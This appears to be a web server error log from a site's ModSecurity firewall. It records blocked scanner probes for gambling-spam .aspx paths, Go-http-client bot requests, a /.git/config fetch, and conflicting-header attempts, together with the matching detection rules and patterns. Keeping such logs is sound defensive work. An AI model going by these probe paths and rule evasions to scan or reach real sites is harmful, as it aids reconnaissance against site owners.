[Sat Apr 04 16:20:32.701145 2026] [:error] [pid 37114:tid 37125] [client 147.135.213.172:34612] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adDJ0M-DnSj3fGMexeLk8gAAAQk"]
[Sat Apr 04 16:20:35.219225 2026] [:error] [pid 2459:tid 2551] [client 147.135.213.172:34614] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adDJ0wefyCmu4LR_PlpcAAAAAJM"]
[Sat Apr 04 16:20:37.753533 2026] [:error] [pid 37114:tid 37130] [client 147.135.213.172:34626] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adDJ1c-DnSj3fGMexeLk_gAAAQ4"]
[Sat Apr 04 16:20:40.167164 2026] [:error] [pid 37114:tid 37135] [client 147.135.213.172:34640] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adDJ2M-DnSj3fGMexeLlBAAAARM"]
[Sat Apr 04 16:20:42.699539 2026] [:error] [pid 2459:tid 2536] [client 147.135.213.172:47450] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adDJ2gefyCmu4LR_PlpcEAAAAIU"]
[Sat Apr 04 16:20:45.059320 2026] [:error] [pid 2458:tid 2520] [client 147.135.213.172:47458] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adDJ3SNozic5SuWqclmXwwAAAFA"]
[Sat Apr 04 16:20:47.293197 2026] [:error] [pid 2458:tid 2509] [client 147.135.213.172:47466] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adDJ3yNozic5SuWqclmXyQAAAEU"]
[Sat Apr 04 16:20:49.697545 2026] [:error] [pid 2457:tid 2488] [client 147.135.213.172:47474] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adDJ4UmNHppaMd92ZpfweAAAAAs"]
[Sat Apr 04 16:20:52.196331 2026] [:error] [pid 2567:tid 2588] [client 147.135.213.172:60894] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adDJ5GJJmfRsTrAKjdTjCwAAAM4"]
[Sat Apr 04 16:20:54.696605 2026] [:error] [pid 2459:tid 2548] [client 147.135.213.172:60902] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adDJ5gefyCmu4LR_PlpcIAAAAJA"]
[Sat Apr 04 16:20:57.248272 2026] [:error] [pid 2567:tid 2574] [client 147.135.213.172:60914] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adDJ6WJJmfRsTrAKjdTjFQAAAMA"]
[Sat Apr 04 16:20:59.772436 2026] [:error] [pid 2567:tid 2598] [client 147.135.213.172:60920] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adDJ62JJmfRsTrAKjdTjGQAAANg"]
[Sat Apr 04 16:21:02.163774 2026] [:error] [pid 2457:tid 2499] [client 147.135.213.172:57722] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adDJ7kmNHppaMd92ZpfwfgAAABY"]
[Sat Apr 04 16:21:04.570332 2026] [:error] [pid 2567:tid 2588] [client 147.135.213.172:57738] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adDJ8GJJmfRsTrAKjdTjIAAAAM4"]
[Sat Apr 04 16:21:06.969167 2026] [:error] [pid 2458:tid 2519] [client 147.135.213.172:57742] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adDJ8iNozic5SuWqclmX6AAAAE8"]
[Sat Apr 04 16:21:09.363720 2026] [:error] [pid 37114:tid 37130] [client 147.135.213.172:57744] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adDJ9c-DnSj3fGMexeLlQgAAAQ4"]
[Sat Apr 04 16:21:11.922150 2026] [:error] [pid 2459:tid 2540] [client 147.135.213.172:34642] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adDJ9wefyCmu4LR_PlpcUQAAAIg"]
[Sat Apr 04 16:21:14.293207 2026] [:error] [pid 2567:tid 2582] [client 147.135.213.172:34652] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adDJ-mJJmfRsTrAKjdTjNgAAAMg"]
[Sat Apr 04 16:21:16.817001 2026] [:error] [pid 2457:tid 2480] [client 147.135.213.172:34656] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adDJ_EmNHppaMd92ZpfwkAAAAAM"]
[Sat Apr 04 16:21:37.753822 2026] [:error] [pid 2458:tid 2510] [client 147.135.213.172:34666] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adDKESNozic5SuWqclmYFQAAAEY"]
[Sat Apr 04 16:21:40.186084 2026] [:error] [pid 2567:tid 2584] [client 147.135.213.172:33690] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adDKFGJJmfRsTrAKjdTjWAAAAMo"]
[Sat Apr 04 16:21:42.683983 2026] [:error] [pid 2459:tid 2553] [client 147.135.213.172:60818] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adDKFgefyCmu4LR_PlpcjQAAAJU"]
[Sat Apr 04 16:21:45.171049 2026] [:error] [pid 37114:tid 37126] [client 147.135.213.172:60830] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adDKGc-DnSj3fGMexeLluwAAAQo"]
[Sat Apr 04 16:21:47.649682 2026] [:error] [pid 2458:tid 2514] [client 147.135.213.172:60832] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adDKGyNozic5SuWqclmYGwAAAEo"]
[Sat Apr 04 16:21:49.981589 2026] [:error] [pid 37114:tid 37134] [client 147.135.213.172:60844] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adDKHc-DnSj3fGMexeLl1QAAARI"]
[Sat Apr 04 16:21:52.394249 2026] [:error] [pid 2458:tid 2527] [client 147.135.213.172:55106] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adDKICNozic5SuWqclmYKwAAAFc"]
[Sat Apr 04 16:21:54.799035 2026] [:error] [pid 2459:tid 2553] [client 147.135.213.172:55116] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adDKIgefyCmu4LR_PlpcowAAAJU"]
[Sat Apr 04 16:21:57.312582 2026] [:error] [pid 2459:tid 2550] [client 147.135.213.172:55124] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adDKJQefyCmu4LR_PlpcqgAAAJI"]
[Sat Apr 04 16:21:59.724209 2026] [:error] [pid 37114:tid 37134] [client 147.135.213.172:55128] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adDKJ8-DnSj3fGMexeLl7wAAARI"]
[Sat Apr 04 16:22:02.246228 2026] [:error] [pid 37114:tid 37120] [client 147.135.213.172:42524] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adDKKs-DnSj3fGMexeLl-gAAAQQ"]
[Sat Apr 04 16:22:04.626303 2026] [:error] [pid 37114:tid 37138] [client 147.135.213.172:42536] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adDKLM-DnSj3fGMexeLmBgAAARY"]
[Sat Apr 04 16:22:07.170704 2026] [:error] [pid 37114:tid 37138] [client 147.135.213.172:42552] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adDKL8-DnSj3fGMexeLmEgAAARY"]
[Sat Apr 04 16:22:09.542620 2026] [:error] [pid 2459:tid 2541] [client 147.135.213.172:42558] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adDKMQefyCmu4LR_PlpctgAAAIk"]
[Sat Apr 04 16:22:12.078065 2026] [:error] [pid 37114:tid 37130] [client 147.135.213.172:34968] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adDKNM-DnSj3fGMexeLmHQAAAQ4"]
[Sat Apr 04 16:22:14.460584 2026] [:error] [pid 37114:tid 37139] [client 147.135.213.172:34976] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adDKNs-DnSj3fGMexeLmIgAAARc"]
[Sat Apr 04 16:22:16.982340 2026] [:error] [pid 37114:tid 37137] [client 147.135.213.172:34992] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adDKOM-DnSj3fGMexeLmLAAAARU"]
[Sat Apr 04 16:22:19.493279 2026] [:error] [pid 37114:tid 37139] [client 147.135.213.172:35004] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adDKO8-DnSj3fGMexeLmNAAAARc"]
[Sat Apr 04 16:22:21.862473 2026] [:error] [pid 2567:tid 2576] [client 147.135.213.172:33584] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adDKPWJJmfRsTrAKjdTjnAAAAMI"]
[Sat Apr 04 16:22:24.394402 2026] [:error] [pid 2459:tid 2552] [client 147.135.213.172:33594] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adDKQAefyCmu4LR_PlpczQAAAJQ"]
[Sat Apr 04 16:22:26.903746 2026] [:error] [pid 2567:tid 2587] [client 147.135.213.172:33602] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adDKQmJJmfRsTrAKjdTjqQAAAM0"]
[Sat Apr 04 16:22:29.289338 2026] [:error] [pid 2567:tid 2586] [client 147.135.213.172:33608] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adDKRWJJmfRsTrAKjdTjtQAAAMw"]
[Sat Apr 04 16:22:31.791656 2026] [:error] [pid 2567:tid 2575] [client 147.135.213.172:32842] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adDKR2JJmfRsTrAKjdTjvAAAAME"]
[Sat Apr 04 16:22:34.341737 2026] [:error] [pid 2459:tid 2547] [client 147.135.213.172:32846] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adDKSgefyCmu4LR_Plpc2QAAAI8"]
[Sat Apr 04 17:36:37.445954 2026] [:error] [pid 37114:tid 37130] [client 43.140.247.223:50926] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adDbpc-DnSj3fGMexeIDqgAAAQ4"]
[Sat Apr 04 17:47:31.831545 2026] [:error] [pid 2458:tid 2507] [client 173.239.214.68:35705] [client 173.239.214.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adDeMyNozic5SuWqclnC1QAAAEM"]
[Sat Apr 04 18:14:38.908059 2026] [:error] [pid 2567:tid 2598] [client 159.89.55.133:53600] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adDkjmJJmfRsTrAKjdQFzwAAANg"]
[Sat Apr 04 19:23:08.570753 2026] [:error] [pid 2457:tid 2490] [client 43.157.22.109:35974] [client 43.157.22.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adD0nEmNHppaMd92Zpc1HQAAAA0"]
[Sat Apr 04 20:14:30.592744 2026] [:error] [pid 2459:tid 2548] [client 49.51.36.179:36968] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adEApgefyCmu4LR_PloC7wAAAJA"]
[Sat Apr 04 23:50:12.771298 2026] [:error] [pid 2459:tid 2548] [client 170.106.82.209:40118] [client 170.106.82.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adEzNAefyCmu4LR_PlppywAAAJA"]
[Sun Apr 05 00:41:18.782756 2026] [:error] [pid 53819:tid 53886] [client 43.135.185.59:33298] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adE_Lmkolvq4mv6siDPVMwAAAA0"]
[Sun Apr 05 02:20:23.547332 2026] [:error] [pid 53821:tid 53949] [client 217.216.37.55:61631] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adFWZ4r_VtuiSAUdPhmaYAAAAJU"]
[Sun Apr 05 02:20:23.758555 2026] [:error] [pid 53820:tid 53924] [client 217.216.37.55:55533] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adFWZzKzpMZSi9FOeIYq0AAAAFc"]
[Sun Apr 05 02:20:23.969608 2026] [:error] [pid 53819:tid 53881] [client 217.216.37.55:57131] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "adFWZ2kolvq4mv6siDP7jgAAAAg"]
